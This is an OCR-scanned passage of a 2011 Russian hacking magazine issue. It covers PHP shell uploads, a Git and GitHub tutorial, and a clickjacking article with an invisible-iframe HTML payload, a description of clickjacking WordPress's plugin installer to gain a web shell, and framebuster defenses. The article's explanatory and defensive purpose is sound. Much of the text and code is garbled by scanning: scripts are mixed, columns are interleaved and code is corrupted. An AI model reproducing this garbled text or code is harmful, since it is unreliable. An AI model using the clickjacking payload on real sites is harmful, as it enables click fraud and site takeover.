вывод phpinfoll в админке. Например , для того же РНР Live, где при magic_quotes=oп или без доступа к директории ./supeг невозмож­ но загрузить шелл. На Windows-мaшинax способ всегда работает успешно, для пiх*-машин приходится использовать BWMeteг или другие аналоги. Напоследок хочу сказать, что подобные наруше­ ния пространственно-временного континуума во вселенной РНР наверняка окажутся полезными для реализации каких-то новых

уязвимостей. А они точно существуют, остается лишь найти их. :х:

ХАКЕР

01,0

www.epidemz.net

12/155/2011


Preview

32 с тр ани цы жу рнал а на одн ой поло с е . Ти зер н екотор ых статей.

PCZONE ·::-··· -~-~

50

-

··--

·:::-:-

...

-

..

IPV6:HOWTO Вре~я 1Pv4 истекло. Свободных адресов уже нет. Надо срочно переходить на

1Pv6! Правда в том, чтотакие страшилки никого не пугают. И именно поэтому в ближайшее время никакого пере хода

на новую версию стандарта IРне будет. Этосейчасбанальноникомуненужн~ ни тебе, ни мне. Мы не будем платить за

это большую абонентскую плату. А зачем тогда провайдерам тра т ить ас т рономи­

ческие суммы на покупку/апгрейд обо­ рудования и обучение сотрудников? Куда проще продолжать переводить клиентов

за

NAT и экономитьтаким образом

n '' L IГYU

1

1Рv4-

адреса. Тем не менее уже сейчас есть несколько способов попробовать 1Pv6, и не просто << чтобы было», а для вполне

ощутимой выгоды .

PCZONE

взлом

MALWARE

УГНАТЬ КЛИКИ

ДЕНЬГИ НЕ ПАХНУТ: ОБЗОР ПАРУНЕРОК

ИЗУЧАЕМ АНТИВИРУС

Как заставить пользователя выполнить

Изощренные умы умудряются зарабаты­

Урок анатомии , на котором мы расчленим антивирус и посмотрим, какустроена эв­

нужную последовате л ьностьдействий в

ватьдесятки миллионовдолларов на раз­

онлайн-банкетак, чтобы он не почувство­

личных партнерских программа х. Какими

ристика, сигнатурный анализ, различные

вал подвоха? Это история про clickjacking .

они бывают-читай в этой статье.

эмуляторы, проактивная защита и

UNIXOID

КОДИНГ

ХАКЕР

HIPS.

НОВЫЙ СТАНДАРТ

ЗАДАЧИНА СОБ ЕСЕДОВАНИЯХ

Автоматический вывод типа, списки

На собеседовании в Google тебя не будут

инициализации,лямбда - функциии

спрашивать про сортировку пузырьком,

другие нововведения (++11-новейшего

зато предложат далеко нетривиальные

стандарта языка С++.

задачи. О них наша новая рубрика .

12 /155/20 11

11

ЧЕТЫРЕ ПРОБОИНЫ

Уд ивительные откро в е н ия о чере д е громких взломов - kе г пеl.огg,liп u х . соm,

liпuxfoundation.org и

mysql.com.

Как это

могло п роизойти?

01.1

www.epidemz.net


PCZONE

Колле к тивны й ра зум

• •

с места в карьер С ИСТЕМА УПРАВЛЕНИЯ

ЧТО ТАКОЕ GIT? Git- это система управления

ВЕРСИЯМИ ЗА

в тот момент, когда он разрабатывал ядро

5 МИНУТ

версий, созданная Линусом Торвальдсом

Linux.

настоящему быстрой, но nри этом nростой в исnользовании . Я не буду сейчас рассказывать обо всем функционале

Сколь ко раз я в и дел , как люд и со здают

Серьезная задача

предъявляла серьезные требования : система должна была быть nо­

Git'a

и сравнивать его с

другими системами уnравления версиями. Для нас сейчас важно по­

отдель н ые папочк и veг s i on1, ve гsion2, ve г ­

sion2a, раскидывая по ним ис х од ники разны х

нять главное :

Git

позволяет работать с твоим кодом с осознанием, что

любое действие можно отменить . Без тени сомнения экспериментируй с

новыми идеями, переписывая функционал, и не опасайся, что ты где-то

в ерс ий своих программ . И трясутся сделат ь

можешь напортачить. Необходимость использования системы контроля

лю б ое из м ен ен и е в сорцах, пото му чт о это

версий должна быть такой же очевидной, как и, скажем, удобство,

« мо ж е т в с е и спорт и ть ». Програм ми рова ни е

IDE. Наша

чуть более сложного прое к та , чем «h ello

мощнейший инструмент. Поэтому предлагаю сразу при ступить.

woгld », без системы упра в ле ни я в ер си ям и ­ те бе выделить 15 мин ут и позна ком и ть с я , управления версиям и -

Git !

задача на сегодня- как можно быстрее взять на вооружение

КОНФИГУРИРОВАНИЕ Чтобы установить все необходимое для использования

огром н о е упущение. Поэтому п редл аг аю

возмо ж но, с с амой лучше й системо й

которое ты получаешь, работая с кодом не в блокноте, а продвинутой

Git

и вникнуть

в основные понятия , понадобится, максимум, минут пятнадцать. Под

Linux git

часто установлен по умолчанию или легко инсталлируется

через менеджер па кетов . Под Мае' ом , возможно, самый n ростой путь установки- запустить git-osx-installeг. Для пользователей

Windows

разработчики предлагают готовые для установки д истрибутивы,

которые все сделают за тебя )во время установки мастер задаст не­ сколько вопросов- можно все настройки оставить по умолчанию). Для конкретики я далее буду рассказывать про использование

Git Windows, но разницы , как ты понимаешь, нет никакой . Мы будем работать с Git через командную строку . В дальнейшем ты сможешь использовать GitGЩ графическую оболочку для работы с Git, или ин­ теграцию IDE и git, но на первых порах, для понимания основ, лучше под

работать через консоль.

Исходные коды

Git хранит

в репозиториях. Каждое внесенное

изменение в репозиторий кода называется

нятия. Каждый

commit

commit.

Это важные nо­

сопровождается информа ц ией о человеке, ко­

торый его сд елал )обычно имя и адрес ). П оэтому вы n олни м некоторую идентификацию себя:

git config --global user.name "Your Name" git co nfig --global user.email "your@emai l .com" Чтобы придать консоли большую наглядность, можно также вклю­ чить специальный режим подсветки:

git config --global color.diff auto git config --global color.status auto git config --global color.branch auto

ХАКЕР

01,2

www.epidemz.net

12 / 155/2011


Git&GitHub:

~ / jquery

с места в карьер

/tFcwt.

0 1\\,ОР

1\ l ,ltl

P,.YJavaSctiptUtnry-Reкlmore http:Н}q.-y.coml

НТТР

Fl\el

OII.Aмci·Oft!J

~ tt ps :// t it hub. c -'jQucr y/) q ..ery. vi t

er.ncnes •

COmrnils

Т191

м

~loa<ls

\Jp::tlllinglheSOUIC8vwsionlo i .7.1Jn

jquery 1

...

......

F80rulwy 02,2011

,..,.,.

"' '"' Создаем репозиторий и делаем первый

Страница

commit

ОСНОВНЫЕ КОМАНДЫ ДЛЯ РАБОТЫ Команда

<<git config »,

сопроводительный текст, в котором, как подразумевается, должно

которую мы сейчас использовали,- одна из

множества . Но для полноценной работы на м надо хорошо понимать

многие другие. Лучше всего освоить и х на практике. Создадим с помощью консоли директорию, где будут рас п олагаться файлы nро­ екта, и попробуем создать в нем наш первый репазитарий с простым

кодом [хотя , конечно, чем больше проект, тем больше пользы несет в

с ебе система управления версий! .

git init Чтобы начать проект

git,

jQuery на GitHub

необходимо выполнить команду

<<i nit».

быть указание на то, какой код был в коммите. По умолчанию

Git от­

крывает привычный для линуксоидов редактор Vim [да-да, даже под виндойl . Если ты с ним незнаком , то просто нажми <i> [чтобы перейти в режим редактирования!, далее набирай сообщение - скажем, <<lnitial

Commit>>. После того, как ты написал сообщение, нажми <ESC> и на­ бери <<:wq>>, чтобы сохранить изменения и выйти из редактора . Готово! Git предлагает несколько опций, чтобы выnолнять commit'ы быстрее . Во-первых, флаг << -m >> позволяет прямо из консоли указать соnроводительное сообщение для commit'a:

Это

инициализирует создание Git-репозитория в этой папке [в файловом

git commit -m "initial commit"

менеджере ты увидишь появившуюся паnку .gitl. Если говорить про­ Другой флаг- << -а >> - позволяет избежать

сто, зто что-то вроде книги с историей изменений . Она содержит ак­ туальную версию кода и историю всех изменений. Обрати внимание,

сделать

что путь в терминале

Git

ся еще словом

модифицированные файлы. Флаги

Git Bash после выполнения команды дополнил­ [<<master>>l. Таким образом отображается ветка кода,

commit

staging

агеа и сразу

всех изменений в репозиторий. В действительности

просто сам переносит код в

staging агеа и сразу коммитит все <<-m>> и <<-а>> можно использовать

с которой ты в настоящий момент работаешь. <<Ветка?,,- спросишь

вместе :

ты. Думай о проекте как о дереве. Проект [дерево! один, но веток у него много . Если даже одна ветка сломается [ программист что-то ис­

git commit -am 'update to index.php'

портит!, то другие ветки будут на месте, и с деревом- то же . Между

git status

ветками в любой момент можно переключиться.

Команда

<<git status>>

позволяет тебе увидеть текущий статус твоего

кода. Попробуй выполнить ее . Так как мы только что выполнили

git add Для дальнейшей работы нам надо сделать наш первый

Commit-

commit,

commit.

то

<<git status>>покажет,

что никаких изменений не произо­

шло. Но если продолжить работать над кодом и еще раз выполнить

зто просто указатель системе сделать метку в истории

кода, сохранив изменения. Но прежде чем мы сможем это сделать,

ту же команду, то ты увидишь, что статус изменился. Если, к примеру,

нам необходимо переместить все файлы, которые должны стать ча­

мы выполним команду

стью

то в информации о статусе появится новая секция-

commit 'a, в так называемую зону staging агеа . В ней находятся

файлы для следующего коммита . Возможно, ты не хочешь коммитить

<< git add>>, добавив

какие-то файлы в проект,

<<changes to

Ье

committed >>.

в репазитарий все текущие изменения- этот промежуточный этап как раз и создан для того, чтобы изящно обработать такую ситуацию.

git branch 1git checkout

Итак, добавляем файлы в

Эти команды исnользуются реже, но они очень важные . Представь

staging

агеа:

ситуацию: работаешь ты над любимым nроектом вместе с одним че­

git add.

ловеком, и тут тебе приходит в голову идеальная идея, которую никак

Здесь<< . >> означает <<добавить все>>. Но мы также можем добавить

не хочет поддерживать твой начальник. Причем идея настолько ре­

лишь некоторые файлы из директории:

волюционная, что изменить проект придется если и не кардинально,

то близко к тому.

Git

позволяет быстро сделать ветку проекта, кото ­

git add *.js git add index.php

рая может жить своей собственной жизнью и развиваться по своему

git commit

стабильный и выверенный код основной ветки будет в сохранности.

пути . Ты можешь сделать так называемый bгanch, с кодом которого можно производить любые эксперименты, будучи уверенным, что

После этого мы можем сделать наш первый

commit

и внести, таким об­

разом, изменения в репазитарий [в нашем случае- добавить файлы! :

Если просто выполнить команду <<bгanch», то система выдаст

git commit Эта команда перенесет все файлы из

staging

список всех веток. Изначально у нас есть только одна ветка masteг

агеа в репазитарий и

обновит историю изменения проекта. Каждый

ХАКЕР

git branch

commit должен

иметь

bгanch- зто то, с чего начинается любой репозиторий. Для того

12/155/ 201 1

www.epidemz.net


PCZONE Add return ln the offset support tests lf the

Ьоdу

ls not present ln fra ...

Browsecode

... meset docs tlmmywll authored 2 days ago

commit 969fcc16bc5ab77352407f77cd48860ca4d95434

1 parent 52afe20860

Showing 1· changed file wlth 6 addltions and О deletlons. •

s rc/support . js

6 ••••• •

src/support. js ' ' -266,6 266 267 268

269 270 ?71

266 267

Vlow fllo@ 969fccl (f~~ctio~()

266,12 @@ jQuery.support •

{

11 Reconstruct а container • document.getБlementsByТagName("Ьody") [ O]; i f ( IЬody ) { /1 Return for frameset docs that don't have а Ьоdу 11 These tests cannot Ье done return; Ьоdу

~

2 275 276 277

+ + + + + +

container • document.createBlement ("div"); container.style.cssтext • vЬ + "width:O;height:O;position:static;top:O;marginтop: " + Ьody.insertвefore( container, Ьody.firstChild );

conмarqinтop

+

" рх " ;

Смотрим коммит на rитхабе

чтобы создать новую ветку, используется та же самая команда

git merge experimentalBrunch

« bгanch », но с указанием имени создаваемой ветки:

В результате ве сь код из expeгimentaiBгunch станет частью основн ой ветки проекта .

git branch experimentalBrunch Имей в виду, что nосле создания ветки

Git

не переключит тебя на

git log 1gitk

нее автоматически lв терминале п о-прежнему будет маячить указа­

Позже тебе , наверное , будет интерес но посмотреть историю комми­

ние на mаstег - веткуl. И вот здесь используется команда

тов, которые были выполнены на протяжении жизни проекта . Для

<<checkout»,

чтобы сделать активной указанную ветку:

этого предназначена команда

git checkout experimentalBrunch

git log

Впрочем, если хочешь создать новый bгan c h и сразу на него пере­ ключиться, то можно использова ть такую конструкцию:

-Ь bгanch

name.

git checkout

Так или иначе, мы работаем с новым Ьгаnсh'ем:

можем т еперь как угодно менять код и стандартными командами за­

«l og >>.

Консоль выдаст с писок все х комитов , которые были сделаны, отсортировав их в обратном порядке. Еще более наглядную историю

можно получить в графическом виде

l«git log -gгaph » l или даже ис­

пользовать специальную GUI-программу:

комитить изменения:

gitk --all git add . git commit -m 'New architecutre introduced'

Это браузер по репозиториям . Ты можешь легко перемещаться среди своих коммитов, отслеживая, что именно было изменено в

Однако эксперименты экспериментами, но работу над стабильной

хо де каждого из них.

веткой никто не отменял. Надо возвращать ся к привычной работе.

GITHUB:

Как это сделать, ты уже, вероятно , понимаешь :

ХОСТИНГ РЕПОЗИТОРИЕВ

Теперь, когда ты в целом представляешь, с какой стороны подойти к

git checkout master

Git

и как его можно использовать, предлагаю взглянуть на те

аспекты работы с системой управления версий, которые связаны с В се возвращается на свои места: восстанавливаются используе­ мые в mаstег-ветке файлы , а сорцы, уникальные для нашей ветки ,

бол ьше не отображаются в рабочем каталоге.

коллективной работой.

Git

предлагает мощнейшие механизмы, чтобы

расшарить свой код и дальше работать с ним совместно. Существует

целый ряд специальных сайтов, на которых хостятся репазитарии

Git. Но,

наверное, самый прогрессивный и совершенно точно­

git merge

самый популярный тут

Работа над альтернативной веткой продолжа ется. В один пре крас­

этот номер и посчитай, сколько проектов , на которые мы ссылаемся,

ный день реализованные в ней фичи становятся настолько хо роши,

хостя тся на этом ресурсе.

что с твоими доводами согла шается начальник и даж е предлагает

GitHub lwww.github.coml. Просто полистай

Существует не ско лько типов аккаунтов, которые можно зареги­

добавить их в mаstег-ветку . Как раз для этих целей используется

стрировать на

команда

Сервис зарабатывает на том , что предоставляет хостинг для про­

git

meгge. В тот момент, пока ты работа е шь с masteг bгanch ,

выполни команду:

ектов на

Git

GitHub,

в зависимости от того , что тебе необ хо димо .

и берет за это определенную плату . Однако проекты,

Х АКЕ Р

01,1,

www.epidemz.net

12/155/2011


Git&GitHub : с

места в карьер

которые разрабатываются с открытыми исходниками, могут ис­

пользовать сервис совершенно бесплатно. Вначале нам доста­ точно бесплатного

«Sign Up>>

«open

souгce>> аккаунта, поэтому смело жмем

mitsuhiko (Armin Ronacher)

и регистрируемся. Помимо стандартных действий, тебе

необходимо будет указать свой nубличный SSН-ключ. П оэтому его,

во-первых, нужно сгенерировать !через РuТТУ) и далее указать в настройках GitНuЬ-аккаунта. Найди там поле «PuЫic

Keys>>

и клик­

"-'~OOCOO.of9(

LocМorl

Austtt

nодключиться по

SSH

к серверу, чтобы проверить соединение .

Если ты правильно введешь парольную фразу, которую указывал

674

~15,2008

ни на «Add anotheг puЬiic key>>. Просто скопируй сюда содержимое файла с ключом и сохрани изменения. Можешь сразу попробовать

66

lm.ti~·ICI>ve-<1.00111

Wttrtllll.-91og

PuЫic

Ropooltorleo (66)

PuЫic

4 м

AC11vlty li1

mltlvhlko ~k)m....,M mltauhikoo'lмll .ьout1Dhcм.n..,o

. - lltJЫd Мtrg8 tnndl 'mмt8( d

..........

~oom:~

при создании ключа, то соединение будет установлено. Кстати,

ввод парольной фразы можно автоматизировать . Подробнее об

fS2t7o9 Ac*dwpporlfor_ll\l8thodiOI.d_kJr()

VlewcomPIO'iaonlorlhest2eoonmatt•

этом- в специальном мануале l help . github . com/woгking-with­

mltevhlko ___.....

01'1

pullf8C1-' 4 on milauhlkolphJI-'111••

8Ьout20._,..

key-pass-phгases ) .

llpllirluиrlsttl--.f8ilinracoselheydclr'I,PfO"idl8'1yiWicl

ol-~lrчol....."~_..talse.'МihloW'Iitletlclмнs

Весь

Git

..,.".", . .. 1'\ 1

phpиrlellze

git clone крутится вокруг репозиториев, а задача

routun'*h8ve ...

.._.._..

_" mltlvhlko doмd puH requut 129 on m1tlvhlkolwertai1VII 1 ау f80

GitHub- сделать

такие репазитарии доступными по всему миру. Представим для начала, что мы нашли какой-то проект и хотим сделать копию его

репазитария у себя, чтобы начать с ним работу lну, скажем, добавить какую-то фишку, которой в оригинальном коде нет). GitHub позволяет сделать клоны проекта. Возьмем для примера jQueгy. Зайдя на его

GitНuЬ-страницу, ты найдешь там специальный адрес

«clone URL>>. URL необходим нам, чтобы сделать копию lв терминах Gitклон) nроекта, воспользовавшись командой clone:

Этот

А ккаунт польз о вателя - ч а с ть социальн о го к о динга .

СОЦИАЛЬНЫЙ КОДИНГ Важно понимать одну вещь.

GitHub- это

не просто Git-хостинг. Это

еще ведущий проект, который пропагандирует понятие «со циально го

кодинга>>. И тут дело не только в том, что удобно работать с чужи-

git clone

git : //githui:J.co!П/jquery/jquery.git

ми репазитариями-не менее важны условия, которые создаются

людям для их общения друг с другом, для участия в чужих проектах

Git

создаст директорию

jquery

и скопирует весь репазитарий кода

и т . д . Я знаю немало людей, которые, имея свободное время, хотели

на твой компьютер. С зто го момента у тебя есть не только код, но и

потратить его на развитие хорошего, пусть в большей части и чужого

полная история изменений проекта- можешь nроверить это уже

проекта.

знакомой командой

Если нажать на главной странице «Ехрlоге

«gitk -all>>.

GitHub -

«Languages>> ты

git push

лучшее место, где такой про е кт можно найти.

GitHub>>,

то на вклад ке

увидишь, в каких проектах наибольшее количество

активных участников для каждого из интересующих тебя языков про­

Теперь представим обратную ситуацию. Ты долгое время работал

граммирования . Когда ты смотришь страницу чужого репозитория, то

над проектом локальной с использованием

прямо под панелью «Поиск>> располагаются кнопки

git,

а теперь хочешь

расшарить его для всех желающих. Нет проблем' Заходи на

и создавай новый репазитарий I<<Cгeate Repositoгy>>), вводи на­

«Watch>>

и « Foгk >> :

Foгk проекта означает, что ты получаешь полную копию его репо­

GitHub

зитария и можешьделать с ней что хо чешь;

звание проекта и описание . В случае если бы у тебя был платный

Watch означает, что любые активности

аккаунт, можно было бы указать тип репазитария-публичный

этим проектом, будут отображаться на твоей fashboaгd !как и в со­ циальных сетях, зто лента новостей).

или закрытый. После создания репазитария

и действия, связанные с

GitHub автоматически clone URL>> для тех, кто захочет скачать твой проект, а также «peгsonal clone URL>> для тебя самого. Теперь можно перенести в репазитарий на GitHub свой локальный репо­

ли>> или сколько людей за ним наблюдают . К слову, следить можно

зиторий .

не только за интересными проектами, но и классными разработчи­

git remote add origin git@github . com : aburgess/My-First GitHub-Repo.git git push origin master

«Follow>>

выдаст тебе «puЬiic

Для любого проекта отображается, сколько людей его «форкну ­

ками, от которых можно многому научиться. Простонажми на кнопку в профиле интересующего тебя кодера и будешь получать

новости о любых изменениях, которые человек внес в код. Это со­

циальная сеть- никто не мешает отправить тебе сообщение. На странице профайла будут еще две кнопки-

Первой командой мы добавляем удаленный репозиторий. В

«Admin>>.

нашем случае мы даем имя oгigiп и привязываем его к нашему «pгivate

clone URL>>.

Второй же командой-

git-push-

мы отправ­

ляем все из ветки masteг в oгigin lт. е. наш репазитарий GitHuЫ.

«Pull Request >>

и

Админка позволяет изменить ветку по умолчанию, создать

страницу проекта, включить дополнительные возможности lwiki, download, issues) и т. д. В зависимости от добавления коммитов в проекты, которые ты форкнул, они могут попасть в оригинальный

Поздравляю, теперь исходникитвоего проекта доступны всему

репазитарий или нет. Их сможет увидеть владелец репозитория, но

миру. Можешь открыть GitНuЬ-страницу своего проекта и в этом

чтобы он точно обратил на них внимание, как раз необходима кнопка

убедиться.

«Pull

гequest>>.

FOLLOW GITHUB

git pull Когда владелец push'ит новый коммит в репозиторий, ты можешь

GitHub

выполнить команду

можно nрямо через веб-интерфейс, к

git pull для того, чтобы получить апдейты. По сути это ком ба двух команд : git fetch !получить изменения) и get meгge lприменить изменения для твоей локальной копии):

стремительно развивается. Внести изменения в коде теперь

Git'y добавилась

поддержка

других систем управления версиями . Это не остается незамеченным. В проекте уже участвуют почти

1,1 миллиона человек, размещая бо­ 3 миллионов репозиториев . Предлагаю тебе если и не использо­ вать сервис GitHub, то хотя бы взять на вооружение систему контроля версий Git. :::и:

лее

git fetch upstream master git merge upstream/master

ХАКЕР

01,5

12/155/2011

www.epidemz.net


PCZONE

Коллективны й разу м

ВЧЕРА, СЕГОДНЯ, ЗАВТРА

CLICKJACKING: Удивительно, но если спросить : , «Что такое кликджек и нг? », то многие просто разведут руками.

Тем не менее, эта атака напря­ мую касается любого пользова­ теля, и более того- невозмож­

ЧТО ТАКОЕ Подробные до к лады о

различны х аспекта х реализации

click jackiпg

д ословно, т о

в ый д ет ч то -то вроде «угон кликов>> . П о л ьзовател ь думает, ч то к л и­

кликджекинга :

кае т в и нт ересующем е г о месте сайта , но на с а мом д е л е осу щ ес т ­

вляет клик на соверше н но д ругой страни ц е! Как эт о воз м ож н о? Вс п омним н есколько невинных свойств НТ М L-разме т ки, ко т орые

com/resources/

испол ь зуются повсемест н о:

white-papers/click-

Шklna;

участия . Чудеса изощренности

com/201 0/paoers/ J!Z1J!!!f; • www.owasp.org/ index.pho/Cijckjack·

подход для новых векторов атак .

п онятием клик д жеки н га . Е сли п ереводи т ь

• www.sectheory.

com/clickjackjnq.htm: • www.contextis.

на без его непосредственного позволяют использовать старый

CLICKJACKING?

Чтоб ы э т о т в о п рос не зас т а л т ебя врасплох, разберемся с сами м

·~

ing.

веб-стр а ница может со д е р жат ь в себе д ругую ст р аницу с п омо­

щ ью тега <ifгame>;

НТ М L-э л еме н т может бы т ь п о л ност ь ю ви димым, п о л у п розра чны м

если НТ М L-элеме нт ы накла д ы в аю т ся др у г д ру г а, то п о р я д ок

или невидимым;

н аложе н ия о п ределяется с п омо щ ью с п ециа л ь н о г о п а р а м е тр а

z - iп d ex .

Для сайта кликджекинг может

П олучае т ся, любой НТ М L-элемент может находи т ьс я в ыш е

обернуться удаленным шеллом

дру г их элеме н тов страницы и п ри э т ом бы т ь неви д им ы м! Учит ыв а я ,

ч т о таким элеме н том може т быть стра н и ц а, за г руже нн ая в

в руках злоумышленника, а для

iframe,

сразу с т анови т ся п о н ят н ым п о д хо д, н а ко т ором с т рои т с я а т ака.

клиента- неожиданно пере­

Злоумышле н н и к отк ры вает в н е вид имом

данным в Сеть изображением с

Информация

веб-камеры .

ознакомительных

ориведе на в

iframe

и нт ересую щую

его веб-стра н ицу и рас п о л а г ает его п оверх той с тр а н и ц ы, кото р а я о т ображается в браузе ре по л ьзова т е л я. В результате жер тв а вы­

целя х. Не используй

полняет клик н е на страни ц е , гд е н ахо д итс я , а н а н еви д и м ом

ее nрот и воз ак он н о .

который с помощ ь ю СSS-параме т ра

opaci ty с д е лал и

ХАКЕР

www.epidemz.net

iframe,

н е в и д им ы м и

12/155/ 2011


Угнать кл и к и

Аnкуемыi веб-саiт

~

facebook

В l'tOI'IHOCТЫO

невмдммом

Girl who had sex with 5000 men Wall

lnfo

1

lframe

r

В1 Uk• l

Glrl

anK corn

Securlty Oleck

" ns.

,

100

Waгningl

Due to the 1ncreased number of spam Ьots

srrvers. please

v1н1fv

that you are

а

real

pun•na

extra load оп our

200

HUMдN

Foflow the insrructions below to proceed. которые HIXOДIIТCA четко

Clitk buttons in th is orde:r. 3. 1. 2

под полями уnраеленм•

атакуемого сайта

2

1

По.nионтеnь отвечает на вопросы, а

:sатем на•ммает кноnку

Next.

Все кпмкм

перехнтываются неамдммым фреiмом.

Реализация кликджекинга для "угона" последовательности кликов

Спуфинг форм

разместили поверх других элементов с помощью параметра z-iпdex.

КЛИКДЖЕКИНГ ДЛЯ ШЕЛЛА

Важно, чтобы область страницы, куда. скорее всего, кликнет

Как тебе, например, такой вектор- получить с помощью клик­

пользователь, совпадала с тем местом на невидимом сайте, где

джекинга веб-шелл на сервере? Еще недавно это было сложно

злоумышленник хочет получить клик. Для этого используется еще

представить, однако Эндрю Хортон опубликовал готовый с пло-

ит, который легко проворачивает подобную атаку. Последняя ,

о дно свойств (55-разметки- абсолютное позиционирование.

естественно, нацелена на конкретное веб-приложение, но зато

К А К ЭТО ВЫГЛЯДИТ?

какое- популярнейший благерекий движок WoгdPгess . Возмож­

Для осуществления атаки пользователь заманивается на специ­

ность для атаки открывает даже не столько сам движок, сколько

ально составленную страницу с внедренной clickjacking-нaгpyзкoй.

подключаемые расширения . Если ты когда-нибудь пользовался

Возьмем самый банальный пример, когда жертве сообщается о

WoгdPгess'oм, то тебе хорошо известно, насколько упрощена про­

непонятно откуда взявшемся выигрыше с предложением пройти по

цедура установки аддонов. Прямо в админке сайта можно открыть

ссылке, чтобы узнать подробности:

репозиторий, выбрать расширение и на странице с описанием

расширения нажать на кнопку lnstall Now [как, например, в Fiгefox).

chtml> chl

Открыть страницу для установки нужного расширения не про­

style= "text-aligп:ceпter" >Бoльwoй кyw</hl>

ер style=" foпt-size:

38рх;" >Поздравляем!

посетительсЬr>За это вам полагается

блема. Лин к имеет стандартный вид

Вы миллионный

http://wordpress/wp-admin/

plugin-install.php?tab=plugin-informatioп&plugin=wp-gallery­

приз!с/р>

< ! -- Невид.имый iframe поверх други х элементов - - > cdiv style= "z-iпdex:le; opacity:e; positioп:absolute; top:epx; " > ciframe scrolling= "no" style= "width:вeepx; height:seepx;"

remote, где в качестве параметра plugiп указывается необходимое

src= "http: //www .Ыпg.com/search?q=buy+kiпdle+amazoп" >

Правда, расширение таким образом лишь устанавливается, но не

</iframe> </div>

активируется [не начинает работу). Не беда. зато мы точно знаем, что файлы аддона [распространяемые в виде ziр-архива) распако­

с ! --

Зазывающая

позиционирую т ся

<div

расширение. Получается, ничего не стоит подгрузить эту стра­ ницувневидимый ifгame и вынудить жертву нажать на заветную кнопку

lnstall Now. Всего один клик - классический кликджекинг.

надпись и реклама на н еви д имом

вываются в строго определенную папку и становятся доступными

друг

через следующий URL: http://wordpress/wp-content/plugins/. Тут

под

дру г ом

style= "positioп:absolute;

iframe --> top :288px; left :218px;" >

начинается вторая часть истории. Какой плагин устанавливать,

са href= "#" >Kaк получить приз ?с/а>

чтобы получить профит? Вариант первый- добавить в репозито­

</div> </html >

рий аддон с функцианалом троя на. Вариант второй- найти уяз­ вимый аддон и эксплуатировать его . Последнее оказалось проще, и Эндрю в своем РоС задействовал плагин

Если пользователь поведется и действительно нажмет на ссылку,

51idePress, в котором

предварительно нашел эксплуатируемые Х55-уязвимости . Дальше

то кликнет на рекламном объявлении с Bing'a. Таким образом злоу­

уже дело техники, которое к кликджекингу имеет мало отношения.

мышленник получит переход на известный магазин и будет получать

Однако подробности взлома [а для реализации атаки nришлось

проценты с каждой следующей покупки пользователя. Вообще, клик по рекламным объявлениям и переходы по партнерским- основной

решить немало мелких загвоздок) доступны на сайте ресерчера [secuгity-assessment.com ). Защиту от кликджекинга разработчики

способ монетизации кликджекинга. Атаку также часто используют

WordPгess внедрили лишь в версии

3.1.3

в мае

2011

года.

для спама в социальных сетях, когда пользователь, ничего не по­

дозревая, кл икает на кнопки

Retwit или Like, которые относятся к

сообщениям, подсунутым ему злоумышленником. Но это не слишком

ПРОДВИНУТЫЕ ТЕХНИКИ КЛИКДЖЕКИНГА Несмотря на впечатляющий результат [все-таки был получен шеллl),

интересно, перейдем лучше к действительно интересным кейсам

в ходе атаки использовалась самая банальная вариация clickjacking-

использования кликджекинга .

aтaки. Известны намного более изящные вариации . Злоумышленники

ХАКЕР

01,7

12 / 155/2011

www.epidemz.net


PCZONE (i !

11@) C:\Us•rs\ ondrew\ 0

р • ~хн е C:\Us•rs\ ondrew\ Dosktop\s ... х L..J

WordPress.org Login Page In А Frame

О

This content cannot

КАК ЗАЩИТИТЬ ПРИЛОЖЕНИ Е ОТ КЛИКДЖЕКИНГА? Плохие новости в том, что многие популярные веб-приложения уязвимы к

Ье displayed in а frame

кликджекингу. Хорошая новость в том, что при желании кликджекинг легко

предотвратить. Обычно для защиты используются специальные JS-сценарии, которые nрепятствуют отображению страницы во фрейме . Такие снипnеты кода

То

help protect the se<:urity of information you enter into this website. the puЬIISher of this content does not allow it to Ье displayed 1n а frame.

называют fгamebusteг или fгamekilleг, а выглядят они всегда очень nросто:

i f (top.location != location) top.location = self.location;

What you can try: 8

Open this content in

а

new window

Обычно fгamebusteг-cкpиnт состоит из условной конструкции, которая проверяет, не загружена ли страница во фрейме, и какого-то кода, который

реализует контрдействие. К сожалению, подобную защиту несложно обойти, Заголовок

«X-FRAME-OPTIONS» препятствует загрузке страницы в ifгame

nоэтому разработчики изобретают более сложные проверки, препятствующие

nроведению clickjacking-aтaк. Есть целое исследование [bit .ly/vY FL4x ), где ресерчеры из Стзнфорда изучают различные виды fгаmеЬustег-сниппетов и

серьезно прокачали свои навыки в «угоне» кликов. Что еще можно

возможность их обхода. Самой достойной заготовкой для предотвращения

сделать, чтобы расширить возможности для атаки?

атак, на их взгляд, является следующий сниппет:

Можно заставить пользователя не просто кликнуть, но еще и перетащить нужный элемент. Например, перенести нужный текст

<he;~d>

в форму. Или еще вариант- перенести текст из ifгame, тем самым

<style> body { display

получив возможность получить интересующие данные !скажем, скрытую информацию из социальных сетей]. Можно вынудить пользователя ввести данные в форму [к при­

</he<>d> <body>

меру, параль к аккаунтуl.

<script> i f (self == top) { v ar theBody = docum('>nt. geЦlementsByTagName_( ' body ' )[ е ]; theBody.style.display = "Ыосk " ; } else { top.location = self.location;

Можно управлять скроллингом в ifгame с помощью апсhог­

ссылок [http://example.com/#sectionl, чтобы добиться еще более удобного позиционирования наложенного сайта.

Не видимый ifгame можетследовать за курсором мыши [где бы пользователь ни выполнил клик, он будет перехваченl, чтобы не заморачиватьсяспозиционированием.

}

Можно сделатыак, чтобы пользователь выполнил последо­

</script>

поnе;}

</style>

вательность кликов в нужных местах [часто какое-то действие

требует не одного клика, а нескольких]. К примеру, предложив

Как бы там ни было, ни одну из таких JS-заготовок нельзя считать

ему сыграть в некое подобие игры.

стоnроцентной защитой от кликджекинга . Как же быть? О втором и более

Последний трюк исnользовалсявнедавней нашумевшей атаке

надежном способе защиты от этого типа атак nозаботились разработчики

на Flash Рlауег, позволившей злоумышленнику получить доступ к камере и микрофонунесмышлено го посетителя ресурса. Остано­ вимся на этом nодробнее.

браузеров, которые ввели в ис п ользование специальный заголовок X-FRAMEOPTIONS. С его помощью можно указать, можно ли страницу загружать во фрейме или нет! Он появился еще в 2009 году, а к сегодняшнему дню

поддерживается всеми nопулярными браузерами [lnteгпet Ехрlогег, Safaгi,

НЕПРАВОМЕРНЫЙ ДОСТУП

Fiгefox, Chгome). У X-FRAME-OPTIONS есть два режима. Первый- DENY-

К МИКРОФОНУ И ВЕБ-КАМЕРЕ

полностью запрещает возможность загружать страницу во фрейме. Второй­

У Flash'a, как известно, есть доступ к микрофону и камере компьютера,

SAMEORIGIN-

что используется многими веб-приложениями. Интересный момент в

